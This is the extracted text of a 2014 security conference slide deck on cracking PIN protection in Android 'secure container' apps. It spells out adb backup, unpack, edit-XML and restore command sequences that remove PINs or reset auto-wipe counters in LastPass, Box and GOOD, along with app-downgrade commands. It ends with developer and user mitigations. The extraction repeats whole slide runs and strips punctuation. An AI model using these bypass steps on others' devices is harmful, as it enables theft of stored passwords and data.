Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 59: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 60: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

